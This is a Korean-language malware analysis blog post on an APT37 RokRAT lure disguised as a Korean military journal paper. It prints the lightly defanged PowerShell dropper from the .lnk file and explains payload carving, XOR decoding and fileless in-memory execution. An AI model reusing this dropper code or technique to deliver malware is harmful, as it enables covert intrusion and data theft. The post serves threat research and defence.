꿈을꾸는 파랑새

오늘은 북한 해킹 단체 APT37(Reaper)에서 만든 악성코드 인 한국군사학논총(2025.3.26)에 대해 글을 적어보겠습니다.
일단 현재 기고 중인 국방 분야 학술논문으로 위장하여 RokRAT 악성코드를 유포를 하는 방식으로 공격을 하고 있습니다.
악성코드는 기본적으로 PowerShell를 악용을 하고 있는 것이 특징입니다.
파일명:한국군사학논총. lnk
사이즈:50 MB
MD5:2f431c4e65af9908d2182c6a093bf262
SHA-1:d4f15c892cc8c56fba4756526871b2b5f9def840
SHA-256:d182834a984c9f5b44ea0aca5786223a78138ff23d33362ab699c76bf6987261

한국군사학논총 에 포함된 PowerShell 코드
한국군사학논총 에 포함된 PowerShell 코드

악성코드 내용

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments: /k for /f "tokens=*" %a in ('d)ir C:\Windows\SysWow64\WindowsPower
 Shell\v1.0\*rshell(.)exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Ma
 tch 'S(y)stem32' -or $di(r)Path -Match 'Pro(g)ram Files') {$dirPath = '%t(e)mp%'};$exs=@('(.)ln
 k');($)lnkPath = Get-Ch(i)ldItem -Path $dirPath -Recurse *.* -File | where {$_.extension -in
 $exs} | where-object {$_.length -eq 0x031732EF} | Select-Object -ExpandProperty FullName ;$l
 nkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.File
 (A)ccess]::Read);$lnkFile.Seek(0x(0)00010E4, [System.IO(.)SeekOrigin]::Begin);$pdf(F)ile=Ne
 w-Object byte[] 0x002A7965;$lnkFile.Read($pdfFile, 0, 0x002A7965);$pdfPath = $lnkPath.repla
 ce('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x002A(8)A49
 ,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0(x)000D9190;$lnkFile.Read($exeF
 ile, 0, 0x000D9190);$exePath=$env:temp(+)'\toy01(.)dat';sc $exePath $exeFile -Encoding Byte
 ;$lnkFile(.)Seek(0x00381BD9,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 
 0x00000634(;$)lnkFile.Read($stringByte, 0, 0x00000634); $batStrPath = $env:temp+'\'+'toy02(
 .)dat';$string = [Text(.)Encoding]::GetEncoding('utf-8').GetString($stringByte);$string | O
 ut-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0038220D,[System.IO.SeekOrigi
 n]::Begin);$ba(t)Byte = New-Object byte[] 0x0000014C;$lnkFile.Read($batByte, 0, 0x0000014C)
 ;$executePath = $env:temp+'\'+'toy0'(+)'3.b'(+)'a'+'t'; Write-Host $executePath; Write-Host
 $ba(t)StrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString |
 Out-File -FilePath $executePath -Encoding ascii; &$executePath; $lnkFile.Close();[System(.)
 IO.File]::Delete($lnkPath);"&& exit
 iconlocation: C:\Windows\System32\shell32(.)dll
}

악성코드 분석

시작 명령어
dir 명령어로 PowerShell\v1.0 경로에서 rshell.exe 파일을 찾고 파일을 실행
리버스 쉘(reverse shell) 같은 악성 프로그램을 몰래 넣어두고 실행하는 구조
.lnk 파일 중 정확히 크기가 0x031732EF (약 49MB)
.lnk 파일을 바이너리 스트림으로 열고 다음의 순서로 데이터 추출
0x000010E4 위치부터 PDF 파일 데이터 추출->. pdf로 저장
0x002A8A49 위치부터 EXE 파일 데이터 추출->toy01.dat로 저장
0x00381BD9 위치부터 문자열(byte array) 추출->toy02.dat로 저장
0x0038220D 위치부터 BAT 스크립트(byte array) 추출->toy03.bat로 저장 및 실행
. pdf:미끼
toy01.dat:실제 악성 EXE 파일
toy02.dat:문자열 데이터
toy03.bat:최종 실행되는 BAT 스크립트
toy03.bat 파일은 파워쉘을 통해 toy.02.dat 파일 내부의 스크립트 코드를 실행
toy.02.dat 파일은 toy01.dat 파일 내부의 데이터를 읽어와 해당 데이터의 각 바이트를 1(0x31)과 XOR 연산을 이용해서 복호화를 하는 과정을 취하고 있습니다.
복호화된 쉘코드(shellcode)는 스레드를 통해 메모리에 직접 로드되어 실행
파일을 생성하지 않는 Fileless 방식으로 동작

악성코드 가 생성한 toy.dat 파일들
악성코드 가 생성한 toy.dat 파일들

toy02.dat 내용 분석

전체 요약
% TEMP%\toy01.dat 파일을 읽고 XOR 디코딩을 통해 복호화하고 메모리에 직접 로드한 뒤 Windows API를 통해 스레드를 만들어 실행
컴퓨터에서. exe 파일을 실행하는 것이 아니라 메모리에 직접 로드하고 실행하는 Fileless 수법
1.XOR 디코딩
toy01.dat 파일은 실제 EXE가 아니고 XOR 암호화된 상태
키 1을 사용하여 모든 바이트를 XOR 복호화
2. 윈도 API 호출 준비 (C# DllImport)
파워셸에서 C# 코드를 정의하고 Windows API를 직접 호출

toy.02.dat 파일 내용
toy.02.dat 파일 내용

Add-Type으로 각 API 함수를 런타임에 정의
메모리 할당, 권한 변경, 스레드 생성, 동기화기능을 사용
3. 메모리에 PE 로드 및 실행
암호화된 EXE를 메모리에 복호화 후 로드
VirtualProtect로 실행 가능한 권한 부여 (PAGE_EXECUTE_READWRITE)

악성코드 실행시 보여 주는 미끼 PDF 파일
악성코드 실행시 보여 주는 미끼 PDF 파일

CreateThread로 메모리에서 직접 실행 (즉 디스크에는 실행 흔적 없음)
WaitForSingleObject로 스레드 종료를 대기(500초)
RokRAT는 한국을 주요 타깃으로 삼는 고급 지속 위협(APT) 그룹인 APT37(또는 Reaper, ScarCruft 등)에서 사용하는 그룹
시스템 정보와 사용자 정보를 수집하고 공격자의 명령에 따라 달라질 수가 있으니 조심하는 것이 좋을 것 같습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band

Sakai님의
글이 좋았다면 응원을 보내주세요!